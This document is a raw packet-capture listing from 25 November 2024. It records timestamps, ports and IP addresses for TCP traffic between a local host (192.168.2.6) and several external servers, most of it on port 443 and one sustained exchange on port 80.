Nov 25, 2024 07:53:20.746985912 CET	443	49728	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:20.770956039 CET	49737	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:20.771002054 CET	443	49737	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:20.771080971 CET	49737	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:20.821974039 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:20.822133064 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:20.824193001 CET	49737	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:20.824213028 CET	443	49737	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:21.044394970 CET	49738	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:21.044426918 CET	443	49738	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:21.044498920 CET	49738	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:21.076894045 CET	49738	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:21.076924086 CET	443	49738	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:21.080027103 CET	49739	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:21.080068111 CET	443	49739	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:21.080140114 CET	49739	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:21.080312014 CET	49739	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:21.080323935 CET	443	49739	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:21.300115108 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:21.409256935 CET	443	49707	173.222.162.64	192.168.2.6
Nov 25, 2024 07:53:21.409354925 CET	49707	443	192.168.2.6	173.222.162.64
Nov 25, 2024 07:53:21.419662952 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:21.425576925 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:21.425595045 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:21.425875902 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:21.425882101 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:21.426081896 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:21.426168919 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:21.426907063 CET	49731	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:21.426942110 CET	443	49731	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:21.427187920 CET	49731	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:21.427194118 CET	443	49731	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:21.427290916 CET	443	49731	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:21.427345037 CET	49731	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:21.427357912 CET	49733	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:21.427376032 CET	443	49733	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:21.427524090 CET	49733	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:21.427530050 CET	443	49733	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:21.427680016 CET	49732	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:21.427694082 CET	443	49732	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:21.427695036 CET	443	49733	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:21.427746058 CET	49733	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:21.427792072 CET	49732	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:21.427799940 CET	443	49732	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:21.428045034 CET	443	49732	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:21.428100109 CET	49732	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:21.428769112 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:21.428783894 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:21.428904057 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:21.428910971 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:21.429085016 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:21.429207087 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:21.742294073 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:21.742419958 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:21.742435932 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:21.742491961 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:21.746453047 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:21.746531010 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:21.746589899 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:21.746655941 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:21.754775047 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:21.754872084 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:21.754931927 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:21.755073071 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:21.763171911 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:21.763186932 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:21.763227940 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:21.763251066 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:21.771498919 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:21.771559954 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:21.771575928 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:21.771621943 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:21.779896975 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:21.779908895 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:21.779980898 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:21.795594931 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:21.795631886 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:21.795674086 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:21.795674086 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:21.795698881 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:21.795710087 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:21.795734882 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:21.795751095 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:21.796885014 CET	443	49733	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:21.796904087 CET	443	49733	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:21.796919107 CET	443	49733	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:21.796926975 CET	49733	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:21.796973944 CET	49733	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:21.796986103 CET	443	49733	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:21.797033072 CET	49733	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:21.799403906 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:21.799431086 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:21.799446106 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:21.799455881 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:21.799475908 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:21.799488068 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:21.799525023 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:21.817524910 CET	443	49732	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:21.817553997 CET	443	49732	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:21.817569971 CET	443	49732	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:21.817585945 CET	49732	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:21.817675114 CET	49732	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:21.817686081 CET	443	49732	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:21.817733049 CET	49732	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:21.864717007 CET	49740	443	192.168.2.6	20.198.119.143
Nov 25, 2024 07:53:21.864758015 CET	443	49740	20.198.119.143	192.168.2.6
Nov 25, 2024 07:53:21.864821911 CET	49740	443	192.168.2.6	20.198.119.143
Nov 25, 2024 07:53:21.865611076 CET	49740	443	192.168.2.6	20.198.119.143
Nov 25, 2024 07:53:21.865624905 CET	443	49740	20.198.119.143	192.168.2.6
Nov 25, 2024 07:53:21.912996054 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:21.913099051 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:21.913121939 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:21.913166046 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:21.917112112 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:21.917299032 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:21.918004990 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:21.918100119 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:21.918150902 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:21.918214083 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:21.926395893 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:21.926482916 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:21.926495075 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:21.926857948 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:21.932868004 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:21.932924986 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:21.933015108 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:21.933082104 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:21.941221952 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:21.941273928 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:21.941289902 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:21.941338062 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:21.941601038 CET	443	49731	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:21.941636086 CET	443	49731	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:21.941659927 CET	49731	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:21.941665888 CET	443	49731	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:21.941685915 CET	49731	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:21.941693068 CET	443	49731	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:21.941719055 CET	49731	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:21.941741943 CET	49731	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:21.945625067 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:21.945807934 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:21.945930004 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:21.954020023 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:21.954034090 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:21.954083920 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:21.954083920 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:21.962368965 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:21.962409019 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:21.962627888 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:21.970730066 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:21.970767975 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:21.970824003 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:21.979602098 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:21.979706049 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:21.979746103 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:21.979804039 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:21.986731052 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:21.986790895 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:21.986816883 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:21.986834049 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:21.986891985 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:21.986892939 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:21.987467051 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:21.987541914 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:21.987544060 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:21.987588882 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:21.992264032 CET	443	49733	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:21.992275000 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:21.992285967 CET	443	49733	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:21.992301941 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:21.992352009 CET	49733	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:21.992383003 CET	443	49733	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:21.992391109 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:21.992400885 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:21.992418051 CET	49733	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:21.992418051 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:21.992448092 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:21.992449045 CET	49733	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:21.995862007 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:21.995912075 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:21.995934010 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:21.995975971 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.019123077 CET	443	49732	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.019155025 CET	443	49732	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.019208908 CET	49732	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.019222975 CET	443	49732	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.019282103 CET	49732	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.019282103 CET	49732	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.030303001 CET	443	49733	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.030324936 CET	443	49733	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.030369043 CET	49733	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.030399084 CET	443	49733	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.030445099 CET	49733	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.030445099 CET	49733	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.035662889 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.035685062 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.035729885 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.035739899 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.035789967 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.038681030 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.038728952 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.038809061 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.038809061 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.038819075 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.038867950 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.042357922 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.042418957 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.042494059 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.042552948 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.046539068 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.046582937 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.046638012 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.051981926 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.052073002 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.052135944 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.060072899 CET	443	49732	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.060133934 CET	443	49732	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.060180902 CET	49732	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.060216904 CET	443	49732	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.060292959 CET	49732	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.060455084 CET	49732	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.060740948 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.060797930 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.060815096 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.060839891 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.068754911 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.068821907 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.068834066 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.068869114 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.104815960 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.104904890 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.104912996 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.105021000 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.107913017 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.107985020 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.108021021 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.108139038 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.114104033 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.114340067 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.116400957 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.116513968 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.116694927 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.116695881 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.122617006 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.122704029 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.122731924 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.122813940 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.128515959 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.128591061 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.128635883 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.128684998 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.134174109 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.134290934 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.134421110 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.139902115 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.139986038 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.140000105 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.140707016 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.143932104 CET	443	49731	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.143961906 CET	443	49731	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.144016027 CET	49731	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.144032001 CET	443	49731	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.144061089 CET	49731	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.144079924 CET	49731	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.145509958 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.145602942 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.145612955 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.145756006 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.151140928 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.151269913 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.151269913 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.151717901 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.156840086 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.156897068 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.156903982 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.157042027 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.162502050 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.162564039 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.162622929 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.162664890 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.164190054 CET	443	49733	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.164212942 CET	443	49733	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.164309025 CET	49733	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.164334059 CET	443	49733	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.164446115 CET	49733	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.168219090 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.168282032 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.168387890 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.168387890 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.170768976 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.170794010 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.170875072 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.170888901 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.170928955 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.171089888 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.171113014 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.171197891 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.171197891 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.171206951 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.171333075 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.173846006 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.173896074 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.173933983 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.173974991 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.177798033 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.177875042 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.177903891 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.178071022 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.181567907 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.181672096 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.181730032 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.181730032 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.184509993 CET	443	49731	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.184530020 CET	443	49731	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.184612989 CET	49731	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.184618950 CET	443	49731	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.184663057 CET	49731	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.185142994 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.185250044 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.185285091 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.185306072 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.188756943 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.188802004 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.188868999 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.188966036 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.192018986 CET	443	49733	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.192043066 CET	443	49733	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.192096949 CET	49733	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.192106962 CET	443	49733	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.192143917 CET	49733	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.192224979 CET	49733	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.192356110 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.192378044 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.192423105 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.192423105 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.194624901 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.194643974 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.194708109 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.194715977 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.194751978 CET	49729	443	192.168.2.6	150.171.27.10
